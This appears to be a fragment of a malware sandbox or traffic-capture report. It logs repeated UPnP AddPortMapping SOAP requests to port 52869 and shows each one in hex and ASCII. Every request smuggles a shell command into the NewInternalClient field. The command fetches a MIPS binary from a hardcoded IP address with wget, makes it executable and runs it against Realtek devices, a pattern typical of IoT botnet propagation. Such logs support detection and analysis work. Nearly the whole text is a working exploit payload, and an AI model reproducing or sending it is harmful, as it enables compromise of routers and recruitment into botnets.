3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      114192.168.2.154022445.192.228.18852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:58.849673986 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:00.729072094 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:03.129101992 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:07.736819029 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:16.696516037 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.896013975 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:12.758970022 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
